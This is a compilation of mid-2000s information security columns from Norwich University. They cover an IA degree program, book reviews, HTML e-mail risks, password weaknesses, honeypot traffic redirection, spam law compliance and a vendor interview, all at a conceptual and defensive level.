[As always, I want to make it clear that I have no financial interest whatever in ContingenZ Corporation or in the IMCD; my bias is that I like and respect the people who put together this excellent tool.]

Bachelor's Program in Information Assurance

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Norwich University is proud to present a completely new Bachelor of Science in Computer Security and Information Assurance (BSIA for short). The program has been designed from the bottom up; unlike most IA undergraduate degrees, it is not an add-on to a computer science degree. Instead, the BSIA has been built to include a wide range of interdisciplinary studies that will contribute to a sound management approach to information assurance.

As part of the team that designed the program and as the program director, I was particularly concerned to complement the many find programs already in existence that focus on highly technical aspects of information assurance. Because Norwich is a small school, our division (of Business and Management) decided to emphasize our strengths. The program, unusually for IA undergraduate degrees, includes such topics as criminal law, psychology (especially social psychology), management, finance, statistics, operations management, humanities courses and technical writing as well as the expected mathematics, programming, data structures, databases, systems engineering, cryptography, and networking. There's also room for such courses as computer forensics and special research projects.

While we wait for information to be posted on our University Web site about the new BSIA and also about the revised minor in information assurance programs, I have prepared documentation and placed it online at

http://www.mekabay.com/bsia

On that page you will find the following documents:

* Short description of the BSIA (Major)

This one-page summary describes why you might be interested in registering for the Bachelor of Science in Computer Security and Information Assurance at Norwich University. HTM PDF

* Summary of Courses in BSIA (Major)

This one-page sheet lists all the required courses and available options in the BSIA program. HTM PDF

* Complete Rationale Justifying the BSIA

This document was prepared for the Norwich University Curriculum Committee and provides the complete background for the decision to create the BSIA program. Because of the formatting and footnotes, this document is provided only in Acrobat PDF format.

* Minor in IA

This one-page summary lists the required courses and their prerequisites for the minor in information assurance. HTM PDF

I hope that you and any students you know or counsel will find this information helpful. I'd appreciate your help in making this information known to any young people who are interested in an IA career.

Please inform me of all errors you find on the Web page and in the documents posted there so I can correct them quickly.

* * *

Frauds, Spies and Lies:
A Little Treasure from Fred

by M. E. Kabay, PhD, CISSP-ISSMP
Associate Professor, Information Assurance
Norwich University, Northfield VT

Fred Cohen, PhD is famous all over the world for his distinguished contributions to information security. His doctoral thesis on computer viruses is still cited as one of the most influential books in the field and he has taught innumerable university and industry courses on networking, cyber threats and defenses, security architecture, viruses, digital forensics and deception techniques and countermeasures. His Web site < http://all.net > is popping with interesting articles, course materials, and lectures. He is also an accomplished "Red Team" leader (penetration tester) with many years of hands-on experience in simulating malicious deception to test client security systems and procedures.

Recently Dr Cohen sent me a review copy of one of his books, _Frauds, Spies, and Lies and How to Defeat Them_ (ISBN 1-878109-36-7). At 234 pages, it's a delightful read, and I went through it pretty much in one session with much enjoyment.

The book is based on a course Dr Cohen has taught for some years about deception techniques and countermeasures. It begins with an extensive glossary of fraud and deception techniques, moves on to elicitation and intelligence (the methods used by government professionals), discusses counterintelligence methods, and finishes with a review of how to resist fraud personally and organizationally.

The book is full of good-humored comments such as "The casual reader might want to read only chapters 1, 2 and 6…. Government types might want to read the whole book. My graduate students had better read the whole book and everything on the Web site. The final is Tuesday."

Chapter 2 defines and describes 256 (if I counted right) distinct, named types of frauds, ranging from financial frauds through Internet-based schemes and ending with analyses of political machinations and propaganda techniques. Picking at random from this fascinating list, here is the entry (2.6.2.4) on phony job interviews:

>Some folks who want to get information on a company will arrange to get a job interview by applying for job with a fake resume. In the interview process they will ask questions and get tours of facilities that they can then exploit for the information on what is where, to plant a surveillance device, or to leave an explosive if sabotage or extortion is their goal.<

Chapter 3 looks into the psychological underpinnings of deception and provide many references for further reading. Here is the beginning of a interesting section (3.11.2) on opportunistic fraudsters:

>Opportunistic fraudsters are said to constitute about a third of all employees. They usually take little things here and there, but unlike most employees, they may go to extremes. They don't try to think up new frauds all the time, but rather they encounter system quirks and once they

accidentally or quote legitimately quote get around the system, they decide to do the same thing for advantage or quote compensation".<

Dr Cohen then gives as an example a situation in which such an employee loses the receipt for a taxi ride on a business trip. The fraudster copies the real taxi receipt and makes some changes to re-create the lost paper-- no theft involved. However, it becomes tempting to use the same technique again, this time for fraud.

After reviewing the methods used by spies (Chapter 4), Dr Cohen provides many practical measures in Chapter 5 for evading the clutches of professional spies. For example, he suggests "misunderstanding" a leading question and replying with nonsense such as "I had one of these when I was a kid." (section 5.4.1.6)

Chapter 6 includes an extensive list of recommendations for reducing susceptibility to fraud, including corporate policy guidelines and good advice for individuals.

In summary, this is a wonderful book for anyone interested in security, psychology of crime, politics and clear thinking. I'm seriously considering incorporating it into my graduate program in information assurance as required reading in the Human Factors seminar.

Anyone wanting to buy a copy of the book can get it easily at < http://asp-press.com/ > for $29.00 – a real (ahem) steal!

Good one, Fred!

LAN Parties for Corporations

By Karthik Raman, with contributions from Ryan Davis and Michael Martell
Norwich University, Northfield VT

[Note from M. E. Kabay: As regular readers are no doubt aware, I have argued for many years that one of the difficulties we face in implementing security is the perception that the IT group or network administrators are imposing arbitrary rules on the rest of the organization. Sometimes, a gulf develops between IT and less technical users; they don't socialize together and they rarely interact except when there are problems. Under such circumstances, it's no wonder that many organizations experience varying levels of hostility between the security team and users. Anything that can build solidarity among all the employees, regardless of their specific job assignments, can help dispel the haze of us/them thinking that interferes with effective security.

The student chapter of the Association for Computing Machinery (ACM) at Norwich University runs LAN parties for anyone who likes networked games. Some of the students involved were discussing the event with me and are discussion turned to how such games might be useful in the corporate world. The following article was written by Karthik Raman, one of my undergraduate information assurance students, with contributions from two of his fellow students.]

* * *

Network administrators can use computer gaming parties to boost employee morale and improve users' computer knowledge.

LAN parties are similar to quarterly company barbecues: they can get employees from different divisions of the business to interact in a fun, informal atmosphere. If multiplayer games are supported at a LAN party in a team-building exercise, different company divisions can game against each other in healthy competition.

In addition, at LAN parties, the business's IT staff can get the chance to interact closely with other employees. As they help the network administrator set up the LAN, they can demonstrate computer networking to employees and dispel any notions of wizardry surrounding their work.

If a business is building a Computer Emergency Response Team (CERT), then one can use the gaming network to train the new members. CERTs from sister organizations can be invited to compete in a computer security contest. In a test to see who can best secure a computer, the competing CERTs will not only exercise their skills, but also have fun at it.

* Norwich University's LAN04 *

On February 28th 2004 the Association for Computer Machinery Chapter at Norwich University (NU-ACM) hosted our fourth network gaming party[1]. Judging from the success of previous LAN parties at Norwich, about 100 gaming nodes were expected at LAN04; however, our server hosted close to 180 IP addresses for computer gamers and networked X-Boxes.

NU-ACM members had spent almost a month in organizing LAN04. We formed committees to oversee computer networking, ticket sales, equipment and venue reservation, advertisement, and security for the party. On the morning of February 28th NU-ACM members gathered at Plumley

Armory (a large armory on the Norwich University campus) to set up the physical layout and networking architecture for LAN04[2]. Starting 3 PM that day, Norwich students began playing games like Halo[3], Counter Strike[4], Half Life[5], Battlefield 1942[6], and Ghost Recon[7] on the high-speed network the NU-ACM had set up.

During the party, the NU-ACM created a helpdesk for attendees to configure network connections. In addition, to ensure that all gamers had current versions of gaming software, we set up a file server with updated patches on the network. We also served food and drinks and handed out prizes from sponsors Thermaltake[8] and Antec[9].

LAN04 featured an information assurance education event called Computer Security Challenge, in which teams of participants secured a poorly-configured Linux box connected to a small, isolated network. At regular intervals, a hostile server attempted to exploit vulnerabilities on all machines on this network. The winners were judged by how well they configured the target at the end of the competition.

LAN04 was a hugely successful event at Norwich University. The gamers enjoyed 12 hours of raw network gaming and the NU-ACM members gained valuable technical and practical experience from organizing the event.

LAN04 demonstrates how easy it is to setup a small network for gaming. The network architecture inside Plumley Armory took NU-ACM about two hours to plan and three hours to setup. In a corporation, LAN parties can be held in a conference room, or be spread out across contiguous office spaces. Only make sure that the rooms have adequate power. Once a venue is decided on, the network administrator should model the LAN architecture.

At LAN04, the NU-ACM used a version of Knoppix Linux to set up DHCP and file servers[10]. Game software updates were placed on a large-capacity external USB hard drive attached to a NU-ACM member's computer. This computer normally ran Windows XP, but when it was booted up using Knoppix, with a few, simple changes in configuration, the desired DHCP and file servers were up and running. Files were then served from the USB hard drive, and the hard drive with Windows XP remained untouched . The advantage to this method of creating servers is that there is no need to buy special equipment. As long as production machines have been backed up, one can use them to set up the gaming LAN and return them to production the day after the LAN party.

In summary, try organizing a LAN party for your organization. A LAN is easy to set up and costs next to nothing; your employees will all love gaming on it. The improved social relations can significantly affect technical support, willingness to report security problems, and the ease with which you will be able to implement security policies.

Norwich University, Northfield VT

Many people are sending HTML e-mail for no obvious reason or benefit. HTML e-mail can be recognized by colored backgrounds or typefaces; it sometimes has designs or other decorations in the messages.

Unfortunately, HTML e-mail is a security risk. HTML messages can easily contain unwanted, mislabeled links, Web bugs, harmful active content, and outright worms and viruses.

Richard M. Smith warned of emerging e-mail vulnerabilities in 1999, when he listed dozens of problems related to HTML e-mail [1]. A particularly detailed analysis showed how HTML code in e-mail could allow breaches of privacy using images and cookies.[2] Invisible single-pixel images (called Web bugs) can enable this kind of user e-mail tracking without alerting the naïve user because most people don't examine the HTML code underlying received e-mail messages.[3,4]

Other vulnerabilities inherent in HTML e-mail include the ability to run Visual Basic scripts, ActiveX controls, and Macromedia flash, all of which can execute unauthorized and unsafe code.[5]

Some organizations and individuals are blocking HTML messages outright. Blocking incoming HTML e-mail is easy because it always includes recognizable strings associated with the HTML underlying the fancy display.

I urge everyone to send plain text instead of HTML as the default format for outgoing e-mail.

If you need to send a message with features beyond text, you can always create a word-processing document and send that. However, you should be aware that when you send a Microsoft Word document, not only are you putting the recipient at risk from embedded macros, but the appearance of your document may be quite different on the recipients computer if you do not share the same set of fonts. RTF files typically do not carry macros (although the font problem still exists). Some recipients prefer a platform-independent format such as an Adobe Acrobat PDF file rather than a platform-specific file such as an MS-Word document; PDF files do not depend on the recipients fonts for proper display and they do not carry Word macros.

So, to repeat: set your default format for outbound e-mail from HTML to TEXT in your e-mail client. Here are some hints on how to do that:

* If you are using Netscape Messenger as your client, click Edit | Mail & Newsgroups | Formatting to reach the panel that allows the configuration. Then at the top of the page, in the section labeled, "Message formatting" you can select the lower option, "Use the plain text editor to compose messages." The other section is labeled, "When sending HTML messages to recipients who are not listed as being able to receive them." You can select the second option there, "Convert the message into plain text."

* If you are using MS-Outlook, use the Tools | Options ! Mail Format sequence to reach the panel where you can select “Compose in this message format: Plain Text” as your format for outgoing mail.

* If you are using MS-Outlook Express, use the Tools | Options | Send sequence and check “Plain Text” in the “Mail Sending Format” section of the panel.

Other e-mail clients will also have options for you to select plain text.

Remember the old Shaker hymn: "’Tis the gift to be simple / ‘tis the gift to be free, / ‘tis the gift to come down / where we ought to be. . . .”[6]

Keep it simple; keep it plain.

M. E. Kabay, PhD, CISSP is Associate Professor in the Division of Business and Management s at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Calling All Security Recruiters

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In late June, the Norwich University campus is particularly beautiful. Set among the verdant, rolling hills of central Vermont, we are blessed with temperate weather, gorgeous country scenery, no traffic, no pollution, and lots of brilliant people. The brilliant people are the students in our online graduate programs and this year, we are proud to see the first two classes of the MSIA program graduating. The MSIA is the Master of Science In Information Assurance, the 18-month long program focusing on the management of information assurance for which I am Program Director.

We have an exciting week planned for our students. They will arrive on Friday the 18th of June and plunge immediately into a two-day workshop on Saturday and Sunday. I will be leading them in the annual INFOSEC Update to discuss recent developments across the entire field of information assurance.

On Monday morning the 21st of June, the students will be working on debate preparations; they will be in teams and preparing to argue pro or con on a number of interesting topics. On Monday evening, the distinguished security experts Stephen and Chey Cobb, CISSP will speak on privacy policy. Our students are excited at the prospect of meeting Stephen and Chey because both of them contributed to course development throughout the MSIA and because Stephen has been an Adjunct Professor in many of the courses for these students.

Most of Tuesday the 22nd will be devoted to vigorous debates. These are great fun, especially since the students don't know whether they are to argue pro or con on the specific topic they have been assigned. This is the intellectual equivalent of running sprints: intense and exhausting.

On Wednesday the 23rd, several of our students will be presenting case studies at the graduate security conference. We are thrilled and honored to announce that Dr. Peter Neumann of SRI, the world-famous security leader, author, moderator of the Risks Forum, and inveterate punster, will deliver the keynote address in the morning. This conference is open to the public at no cost and will be of particular interest to members of the Vermont InfraGard. Dr. Neumann will also be our after-dinner speaker that evening.

On Thursday the 24th of June, some of our students will be taking the CISSP (Certified Information Systems Security Professional) exam at Norwich. As always with CISSP exams, it is open to all candidates who register with the (ISC)^2.

Now, this is where I need some help from companies who are looking to hire information security professionals. At the request of some of our students, I am soliciting readers of this column who are looking for new employees or who know (or are) recruiters in the information assurance field to contact us. We would like anyone interested in our students to either show up on Thursday afternoon (by arrangement) or to send us documentation that we can give to any of our interested graduates. There would be no cost to anyone for such arrangements. If you would

like to be present or to send documents, please contact Dr. John Orlando, Associate Program Director of the MSIA at Norwich University; his e-mail address is < jorlando@norwich.edu > and his telephone number is 802-485-2729. John will tell you where you could make reservations to stay in the local area and will provide you with instructions on where to be between noon and 3 p.m. on Thursday the 24th. For those sending materials, he'll tell you where and how to ship a couple of dozen fliers or folders.

By the way, on Thursday evening, we are taking the students and selected guests on a gala cruise on Lake Champlain.

On Friday the day is devoted to the graduation itself, with practices, lectures about the Alumni Association, and then the ceremonies. I was there last year and found the whole event profoundly moving and joyful.

If you would like to know more about our MSIA program, you can visit < http://www3.norwich.edu/msia >. For lots of information and pictures about our residency and graduation week, visit < http://www3.norwich.edu/grad/residency2004/ > and follow the links to Day-by-Day for all the details.

Maybe I'll see some of you in June!

The End of Passwords: Problems

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I detest passwords. Why do I loathe passwords as a method for authentication? Let me count the ways:

1. Most systems allow users to choose their own passwords. Most users have no clue how to choose passwords that will resist even the mildest guessing based on elementary research of their interests (family, hobbies, pets, favorite sports teams) or simple dictionary-based attacks (ordinary short words). Many users choose the word "password" or their own name as their password.
2. If the system applies filters to passwords to impose content and structure requirements (e.g., minimum length, inclusion of numbers or special characters, exclusion of words in a dictionary) then most users use the same password over and over and for every possible application requiring a password including their external e-mail, offshore gambling sites, auction sites, book clubs, and pornography vendors.
3. Reasonable system administrators require periodic changes of passwords; paranoid system administrators require changes of passwords so often that the users become desperate because they keep forgetting their passwords.
4. Users faced with demands for changes of passwords adopt a policy of using the same password all the time, or possibly changing a single number in the password; e.g., ramo1bilu, ramo2bilu, ramo3bilu and so on.
5. Some administrators make the mistake of having a single day (e.g., once a month) on which all passwords expire; they thus create a flurry of interventions as support staff help users who forgotten their new passwords.
6. If the system applies password histories to prevent reuse of passwords [* see note] on a particular system, users write to passwords down on scraps of paper and stick them to every available surface, often with helpful identifying notes such as, "Password for accounting system."
7. Most users share their passwords with anyone who asks; e.g., technical support staff, the guy in the next cubicle, and even complete strangers on the street who offer them a chocolate or nothing at all.
8. Some system administrators still leave their password files accessible to any eight-year-old who wants to run a password cracker for fun and profit. A very few still use unencrypted password files.
9. Many system administrators still receive no (or ignore any) real time alert when attackers try online password guessing, especially if the attacker uses slow scans that attack many different user IDs, but only one of the time, over many hours or days.
10. Some system administrators still believe that inactivation of user IDs under password-guessing attack is a reasonable response; they thus hand their system over to attackers for a simple denial of service: try every account with a dummy password. Admittedly, most system administrators understand that requiring manual intervention to reset a lost account is not the cleverest policy in the world; therefore, they configure their systems to have a

reasonable timeout (e.g., a few minutes).

11. Sometimes organizations send users both their user ID and their password in the same unencrypted message, making it too easy for accidental or deliberate interception to break security.
12. In environments where time pressure is extreme, such as medical facilities, many users bypass the nuisance of constant logon/logoff cycles by having workstations logged on every morning by whoever gets there first and then simply using that session all day.

In the next article, I'll review the usual options for replacing passwords; in the last couple of articles in a short series I will present what I think of as the Holy Grail of identification authentication -- and it's here at last.

[* Note: I cannot resist my favorite error message of all time: Jean-Jacques Quisquater reported this gem to RISKS 21(37):

"Q276304 - Error Message: Your Password Must Be at Least 18770 Characters and Cannot Repeat Any of Your Previous 30689 Passwords"

Commented the correspondent dryly, "New level of security at Microsoft."]

The End of Passwords: Inadequate Solutions

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In my previous article on this subject, I ranted about how awful passwords are as a mechanism for authentication of identity. Practically everyone already knows that the for fundamental mechanisms for binding social identity to user ID -- that is, authentication – are

- What you know: passwords or passphrases such as nonsense strings or supposedly private information (e.g., your first love's pet name).
- What you are (static biometrics): characteristics of your body such as retinal patterns, iris patterns, hand geometry, fingerprints, face, height-to-weight ratio.
- What you do (dynamic biometrics): e.g., dynamics of voice, speech, signatures and typing.
- What you have (tokens); e.g., keys, passcards, badges, photo IDs, or anything unique or nearly unique that is difficult to obtain or counterfeit.

I'm not going to go into the details of these systems in this essay. What I want to point out is that most of these systems are good for session initiation but not so great for automatic session termination. One can place one's finger on a fingerprint reader, insert a magnetic card into a reader, look into an iris scanner, speak into a microphone, type on a keyboard, sign one's name -- all of these methods can allow an authorized user to log on to a system.

The problem is that once the interaction is complete, there is usually no mechanism for automatically detecting the departure of the authorized user. Indeed, if one tries to use tokens such as magnetic cards to detect departure by forcing the user to leave the card in the reader while the session is in progress, one of two unpleasant consequences will result: either the user will leave the card in the reader and walk away or the user will walk away with the card attached to his or her wrist and either be yanked backward or pull the equipment onto the floor with a clatter.

One promising biometric technology to allow automatic session initiation and termination is face recognition. Theoretically, it ought to be possible to set up a camera-based facial recognition system that can correctly detect the departure of an authorized user. However, I don't know of such a system in use (let me know if you do).

Another technology that should allow the kind of automatic logon and logoff I've been dreaming of is proximity cards. We already have long-established access-control systems that use Wiegand cards, which have metal particles embedded in plastic so they produce a unique signature in response to radio waves. Proximity sensors can be placed in the wall to control door locks and allow people to go in and out without having to touch their cards.

For the last 20 years, I have wanted to see a proximity sensor used with workstations to control automatic logon and logoff. This week, I learned of the authentication equivalent of the Holy

Grail: we finally have a good method for fast, effective password-free access control using proximity badges and sensors. And the results are even better than I had imagined.

More in the next article.

Honeypots: Using Connection Redirection

by B. Pelletier
Norwich University, Northfield VT

[Note from M. E. Kabay, PhD, CISSP: My undergraduate research student, Bob Pelletier, an IA Scholarship winner, graduated from Norwich University this May and has started what I am sure will be a wonderful career in the computer security field. Here is his brief summary of his much longer, masters-quality report on his research this year in our information assurance program.]

Introduction

A honeypot is defined as any system designed for the sole purpose of being exploited. This is a broad definition that can be implemented in many ways. However one designs a honeypot, the underlying goal is to create a system that appears to be vulnerable.

Honeypots have been used for two main purposes. The first purpose is research. Research groups such as the Honeynet Project have used honeypots to capture information about blackhat methods for compromising computers.

The second purpose has been for attack detection and to a lesser extent, attack mitigation. In particular, these systems have been placed in some production atmospheres among critical machines. Honeypots can serve as lightweight intrusion-detection systems. They can also use deception to confuse blackhats. The theory behind deception assumes that by creating more targets for attackers the likelihood that they will hit a legitimate machine will decrease.

Theory

My recent work has focused on the possible attack-mitigation benefits of honeypot farms and similar architectures that use a routing device to redirect attacks. If attacks going to a legitimate system can be redirected to a honeypot posing as the original destination without the attacker's knowing it, then this redirection will accomplish three things.

* First and most important, the attack against the legitimate server will be neutralized.

* Second, the attacker will not know he is attacking the honeypot and therefore will be less likely to fingerprint the system for what it really is. Most of the attacker's network mapping will be done on the legitimate server and only actual attack traffic will be redirected to the honeypot such as exploits depending on the redirection criteria.

* Third, any successful attacks that compromise the honeypot can be studied in depth and used to better protect the legitimate server since it has the same vulnerabilities by the nature of the two mirrored systems. This strategy also provides a quantitative measure of success. Any malicious traffic that is captured by the honeypot *would* have reached the legitimate server if the redirection had not taken place. This strategy has many benefits over the traditional deception methodology where it is hard to prove attacks are actually being drawn away from legitimate systems through the use of unhardened honeypots.

Technology

The key to attack redirection is packet filtering. The deception methodology employed by some honeypot solutions can potentially help protect production computers. However, the deception methodology does have its limitations. The added mist of network nodes may confuse a hacker, but what happens when the attack finally hits a legitimate machine? Nothing is redirected and the attack does not have a chance to be studied.

Many filtering methods are available but this solution requires both full packet content examination and the ability to alter packet fields. Full packet content must be examined if the majority of attacks are going to be recognized and the packets must be altered to accomplish the redirection. The Linux based firewall *_iptables_* is particularly suited for this task. With *_iptables'_* string matching functionality and its ability to mangle packets, the proposed solution can be created. To make writing the attack identification rules easier there are a few programs available that will convert intrusion-detection system (IDS) rules into *_iptables_* rules. One of these tools has been released by Bill Stearns called *_snort2iptables_*. Stearns' tool is composed of a few scripts that are able to convert 92% of the rules written for the popular IDS called *_Snort_*. Using *_iptables_* and *_snort2iptables_*, packets can be examined for attacks against well-written signatures and redirected to a honeypot system if they are deemed malicious.

Future

With honeypot technology improving, these systems will soon make their way into the common defense-in-depth strategy employed by many organizations today. With honeypots' ability to capture a vast amount of information and their possible attack mitigation capability as described in this article, they are certainly a useful tool. The day is not far away when a sleek yellow server labeled "Company Honeypot" will sit right above the servers labeled "Company IDS" and "Company Firewall". Of course other honeypots will be lurking, unlabeled, in the nearby closets to capture the actions of those devious insiders.

* * *

Author's Note

I would like to thank the staff at NetBait for their unstinting support of my research over the last year. In particular, I received a great deal of help from Ilya Zeldin, Konstantin Strakovsky and Ivan Milovidov and much appreciate their kindness. To contact me, use < mailto:pelletib@eruditeaegis.net >.

The Internet Encyclopedia

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Hossein Bidgoli, PhD, is Professor of Management Information Systems at California State University in Bakersfield. He is Editor-in-Chief of both the _Encyclopedia of Information Systems_ and _The Internet Encyclopedia_, the latter of which I have just received for review.

This 2635-page, three-volume work is a valuable addition to any network professional's or corporate library. It includes peer-reviewed contributions from more than 240 authors and more than 840 subject-expert reviewers. It was designed with the needs of both academics and working professionals in mind. A noteworthy feature is that everyone made a special effort to write simply and plainly so that even novices such as young students would be able to understand the articles.

Subject areas include

- Applications
- Design, Implementation, And Management
- Electronic Commerce
- Foundation
- Infrastructure
- Legal, Social, Organizational, International, And Taxation Issues
- Marketing And Advertising On The Web
- Security Issues And Measures
- Supply-Chain Management
- Web Design And Programming
- Wireless Internet And E-Commerce.

In addition to the articles on individual technologies such as Active Server Pages, Bluetooth, computer languages, electronic-commerce modalities, and so on, topics (and their authors) bearing on directly on information assurance include at least the following:

- Authentication (Patrick McDaniel)
- Biometric Authentication (James L. Wayman)
- Computer Security Incident Response Teams (CSIRTs) (Raymond R. Panko)
- Computer Viruses And Worms (Robert Slade)
- Copyright Law (Gerald R. Ferrera)
- Cybercrime and Cyberfaud (Camille Chin)
- Denial Of Service Attacks (E. Eugene Schultz)
- Digital Identity (Drummond Reed and Jerry Kindall)
- Digital Signatures And Electronic Signatures (Raymond R. Panko)
- Disaster Recovery Planning (Marco Cremonini and Pierangela Samarati)
- Encryption (Ari Juels)
- Firewalls (James E. Goldman)

- Guidelines For Comprehensive Security System (Margarita Maria Lenk)
- International Cyberlaw (Julia Alpert Gladstone)
- Internet Security Standards (Raymond R. Panko)
- Intrusion Detection Techniques (Peng Ning and Shushil Jajodia)
- Law Enforcement (Robert Vaughn and Judith C. Simon)
- Legal, Social and Ethical Issues (Kenneth Einar Himma) the him
- Online Stalking (David J. Loundy)
- Passwords (Jeremy Rasmussen)
- Patent Law (Gerald Bluhm)
- Physical Security (Mark Michael)
- Privacy Law (Ray Everett-Church)
- Public-Key Infrastructure (PKI) (Russ Housley)
- Secure Electronic Transactions (SET) (Mark S. Merkow)
- Secure Sockets Layer (SSL) (Robert J. Boncella)
- Software Piracy (Robert K. Moniot)
- Trademark Law (Ray Everett-Church)
- Virtual Private Networks: Internet Protocol (IP) Based (David E. McDysan)
- Windows 2000 Security (E. Eugene Schultz).

Prof. Camille Chin, LL.M. of West Virginia University College of Law wrote an 11-page overview of cybercrime and cyberfraud. Prof. Chin writes beautifully – clear, assertive prose full of information. Her article reviews cybercrime definitions and statistics (I would have liked a brief warning about the difficulty of trusting non-scientific surveys) and then goes on to a remarkably informative and well structured summary of cybercrime including

- Cybercrime classifications
- Cybersabotage
    - Trojan horses, viruses and worms
    - Denial-of-service attacks
    - Social engineering
- Cyberfraud
    - Internet auction fraud
    - Internet identity and credit card theft
    - Internet investment fraud.

I very much enjoyed reading this review and learned a good deal from Professor Chin's case studies. I particularly appreciated her succinct recommendations to readers for self protection in each section.

The article on CSIRTs was also especially interesting to me because of the series I am currently writing on that topic. I was pleased to find that the author is Prof. Raymond Panko of the University of Hawaii at Manoa, a well-known author whose texts on data communications I have use for many years. In six pages of tightly written prose, Dr Panko provides an excellent review of key issues and guidelines for computer security incident response teams. Topics include

- Before the Incident
    - Justifying the CSIRT
    - Organizing the CSIRT

    - Technology Base
    - The Problem Of Communication
    - The Decision To Prosecute
- During the Attack
    - Discovery And Escalation
    - Analysis
    - Containment
    - Recovery
    - Protection Against Subsequent Attacks
- After the Attack
    - Sanctions
    - Postmortem Analysis.

Each article in the Encyclopedia includes extensive glossaries, cross-references, and suggestions for further reading. My only complaint is that it doesn't seem to be available (yet?) in CD-ROM. I hope the publisher will provide that option, which would make the work even more useful.

At $750 per set, this is not a casual purchase for most of us, but it is a reasonable investment for organizations with an IT staff and a must for schools, colleges, Universities and public libraries.

[Note: I have no association with the publication reviewed other than gratitude for being given a free set for evaluation. What a perk for being a columnist!]

Spammers Ignore FTC Rules

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I recently received a press release from some friends at the Montreal-based Vircom company, makers of Modus e-mail security solutions. Quoting from the press release (with edits),

>The Vircom SpamBuster Team observed less than 15% compliance with the recent FTC rule for labeling e-mail containing sexually oriented material. Effective May 19th, the rule adopted by the Federal Trade Commission (FTC) decreed that all e-mails containing sexually oriented material must include the warning label 'SEXUALLY-EXPLICIT' in the subject line. The Rule implements the requirements of the CAN-SPAM Act by requiring that any person who initiates, to a protected computer, the transmission of a commercial e-mail that includes sexually oriented material must: (1) Exclude sexually oriented materials from the subject heading and include in the subject heading of that e-mail the mark "SEXUALLY-EXPLICIT" and (2) provide that the matter in the e-mail message that is initially viewable when the message is opened include only certain specified information, not including any sexually oriented material.

Over a 2-week period, Vircom's SpamBuster Team analyzed over 300,000 pornographic e-mails that should have been classified as 'SEXUALLY-EXPLICIT' under the new FTC rule. Only 15% of these e-mails were actually labeled in accordance to the law.

"Of the rare few we found that actually complied with the new FTC ruling, most came from the same sources" said Marc Chouinard, head of Vircom's SpamBuster Team. "This indicates that the vast majority of spammers who distribute sexually explicit material either do not know or do not care about eventual legal repercussions."

In a recent interview with a spammer who exclusively distributes sexually oriented material, Vircom asked why spammers will not comply with the new FTC rule. "If I write 'SEXUALLY-EXPLICIT' in the header, I can guarantee that none of my e-mails will make it through a spam filter. In fact, it won't even make it through Outlook rules" said Paul. "You might as well kiss your job goodbye."

"We are not surprised in the least that spammers are not complying with the labeling rule," said Michael Gaudette, Product Manager for Modus anti-spam solutions. “Unless the rule becomes harshly enforced, it will have negligible influence on pornographic spam. You have to remember why spammers actually spam; to get their message through to you."<

We should hardly be surprised. Indeed, antispam activists severely criticize the majority of antispam measures proposed or passed by the US Congress and even the concept of using laws as a defense against spam on the following grounds:

* The very definition of spam remains ambiguous;

* Most bills would explicitly supersede more severe state antispam laws, reducing pressure on spammers;

* Many of the laws preclude civil litigation for damages against spammers;

* Most of the laws are based on opting out of spam, allowing potentially huge numbers of unwanted e-mail messages to be sent to victims;

* The laws would essentially legalize spam and place the burden of stopping it on the recipients;

* Offshore spammers would be unaffected by any legislation;

* Litigation against criminal spammers using false identification would remain difficult.

At a fundamental level, we are suffering from spam for several underlying reasons:

1) Sending e-mail, even millions of unwanted messages, is free or almost free.

2) The current architecture of the Internet, based on IPv4, has no facility for forcing packet authentication, so most spammers can spoof headers with impunity and remain immune from identification and prosecution in the real world.

3) Enough people respond to commercial spam to maintain its profitability.

Until some or all of these underlying issues change, all the laws in the world will have about as much effect on spam as antidrug laws have had on illicit drugs.

Speedy Security (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One of the problems faced by high-volume transaction-processing systems is that security tools can cause significant bottlenecks in transmission. Firewalls, antivirus filters, virtual private network tools, and intrusion-detection systems can all cause significant slowdowns in throughput. Part of the problem is that despite massive increases in processing power, running security programs as ordinary software is not fast enough to keep up with the growing bandwidth of modern networks.

I had the pleasure of interviewing Rick Kagan, VP of Marketing of Fortinet < http://www.fortinet.com/ > at the end of May 2004. Mr Kagan is an electrical engineer (BSEE University of Michigan; MSEE U Cal Berkeley) with 20 years in the industry working at ROLM, Bell Labs, Echelon Corp., NARUS and VPNet (now AVAYA).

Field Code Changed

Q: Tell us about your history.

A: We were founded by Ken Xie, former President and CEO of NetScreen, which was recently sold to Juniper (the big networking company that competes with CISCO) for ~$4B. The basic formula for NetScreen was to take a stateful inspection firewall and accelerate it in hardware, make it easier to deploy and more cost-effective. He applied similar logic in the founding of Fortinet, only this time he decided to tackle content-level threats in addition to network-level threats. We now have 440 employees and do business all over the world. The first thing that comes to mind about why Fortinet is different is that we make the world's only ASIC-accelerated (ASIC = application-specific integrated circuit) antivirus system.

We have branded our platforms under the "FortiGate" name. They handle not only connection-based attacks as a firewall does but also content-based attacks such as spam, malicious software, and inappropriate Web content. Connection-based attacks include unauthorized access and denial of service. But most of the harmful attacks are content-based.

We have already shipped over 40,000 units since May 2002 and have won many awards including (two weeks ago), Security Product of the Year from *Network Computing Magazine*. The FortiGate series are also the only product line to have four separate certifications from TruSecure's ICSA Labs: firewall, IPSec, antivirus, and IDS.

Our customers include many small-to-medium businesses, large enterprise organizations and increasingly ISPs & MSSPs (managed security service providers). We offer a value proposition for MSSPs that is unique: we integrate critical functions into a single system, providing easier management and lower management costs. It's better for the customer too, they get better security than from a mixture of devices.

Q: What prompted you to integrating dedicated appliances into a single device?

A: Speed, lower costs and ease of management of an integrated platform are obvious answers,

but the more subtle issue is that the integration itself leads to better security. I would defy anyone to beat our system if they have to coordinate the parameters and responses of separate firewall, antivirus, antispam and content tools.

